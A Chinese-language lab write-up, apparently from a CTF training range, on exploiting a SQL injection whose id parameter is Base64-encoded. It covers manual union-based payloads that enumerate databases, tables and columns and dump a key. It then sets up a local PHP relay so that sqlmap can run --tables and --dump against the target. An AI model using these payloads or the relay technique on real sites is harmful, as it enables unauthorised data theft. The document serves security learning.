Do what you said,say what you can do
做你说过的,说你能做的
一. 手工注入
辅助工具:小葵多功能转换工具
作用:编码解码、加密解密
-
首先,启动靶场环境,根据URL显示,可知目标URL是经过Base64加密编码方式来进行编码的。
如图,URL中的 “MQo=” 就是经过Base64加密后的内容:
用小葵工具来进行解码,可知原内容是数字1: -
输入判断语句,用于判断是否存在SQL注入
(1)判断语句:1 and 1=1
将 “1 and 1=1” 先进行加密编码,结果如图所示:
将加密后的内容(MSBhbmQgMT0x)复制到URL中的id参数值后面,这时候页面有数据显示。
(这个部分没有截图,可自行实验,结果一样)(2)判断语句:1 and 1=2
将 “1 and 1=2” 先进行加密编码,结果如图所示:
将加密后的内容(MSBhbmQgMT0y)复制到URL中的id参数值后面,这时候页面没有数据显示。
(这个部分没有截图,可自行实验,结果一样) -
根据判断结果,显示该站点存在SQL注入,且为数字型,接下来使用 “order by” 来进行字段判断。
判断语句:1 order by 2
先将判断语句进行加密:如图,将加密后的内容(MSBvcmRlciBieSAy)复制并粘贴到URL中id参数值后面:
根据页面回显结果,页面和正常情况下无变化,说明字段数为2。 -
判断数据库
方法:使用union联合注入查询数据库,再利用报错方式将所需数据显示出来。
语句:-1 union select 1,database()
先将语句加密:
如图,然后将加密结果复制并粘贴到URL中id参数值后面:
提示:
若想获取目标站点后台所有数据库,则应该使用一下语句:
-1 union select 1,SCHEMA_NAME from information_schema.SCHEMATA -
获取表名
语句:
-1 union select group_concat(table_name),2 from information_schema.tables where table_schema=‘test’如图,先将语句加密(由于加密过后的语句太长,此处开始不演示加密过程了,可自行测试),然后将加密结果复制并粘贴到URL中id参数值后面:
结果显示,test数据库下只有一张表,名为data。 -
获取列名
语句:
-1 union select group_concat(column_name),2 from information_schema.columns where table_name=‘data’加密代入后的结果如图所示:
结果显示data表中共有四个数据,分别为id,title,main,thekey。 -
获取数据
语句:
-1 union select group_concat(id,title,main,thekey),2 from data加密代入后的结果如图所示:
根据结果显示,“The key in the columns” 后面的值就是我们要找的key(mozhe后面的加密数据需自己手动解密)。
二. 工具注入(中转型)
工具:sqlmap、phpstduy、notepad++
作用:sqlmap用于攻击暴数据;phpstudy用于搭建本地站点;notepad++用于编写站点程序代码。
由于sqlmap只能进行明文注入,若遇到的网站URL是经过加密编码的,得先把加密内容解密,再用SQLmap进行注入。
下面称 “http://127.0.0.1:8080/text_base64.php?id=1” 为本地搭建站点,称 “http://219.153.49.228:48995/show.php?id=MQo=” 为原目标站点。
演示步骤:
-
启动phpstudy,并在其网站根目录下创建一个名为“text_base64.php”的网站,其内容如图:
因为目标站点的URL为 “http://219.153.49.228:48995/show.php?id=MQo=” ,其中的“MQo=”是加密内容,因此在使用sqlmap对原目标站点进行注入之前,先自行创建php文件,然后开启phpstudy,并在浏览器中访问 “http://127.0.0.1:8080/text_base64.php?id=1” ,即本地搭建站点。此时URL中未经编码的变量id后的值先被“base64_encode”函数加密后再经过“file_get_contents”函数发出网络请求来访问原目标站点,就可以开始进行注入了。 -
打开sqlmap对本地搭建站点进行注入
(1)获取数据库名
语句:
sqlmap.py -u http://127.0.0.1:8080/text_base64.php?id=1 --current-db
如图:
结果:
由结果显示,当前数据库为 “test” 。注:若想获取目标站点后台所有数据库及数据库下的所有表名,则输入语句:
sqlmap.py -u http://127.0.0.1:8080/text_base64.php?id=1 --tables
如图:
结果:
根据结果显示,数据库test下有一张表,数据库information_schema下有40张表。(2)获取表名
语句:
sqlmap.py -u http://127.0.0.1:8080/text_base64.php?id=1 -D test --tables
如图:
结果:(3)获取列名
语句:
sqlmap.py -u http://127.0.0.1:8080/text_base64.php?id=1 -T data -D test --column
如图:
结果:
根据结果显示可知,data表下共有4种数据,且每种数据的类型都有表明。(4)获取数据
语句:
sqlmap.py -u http://127.0.0.1:8080/text_base64.php?id=1 -T data -D test -C “id,main,thekey,title” --dump如图:
结果:
从结果看出,thekey所呈现的结果是已经经过解密的了,无需像手工注入一样还要对结果进行一次解密。
总结:以上只是SQL注入诸多方式中的其中两种,本人是走在白帽路上的萌新选手,如有不足的地方,还望各位大佬指点!!!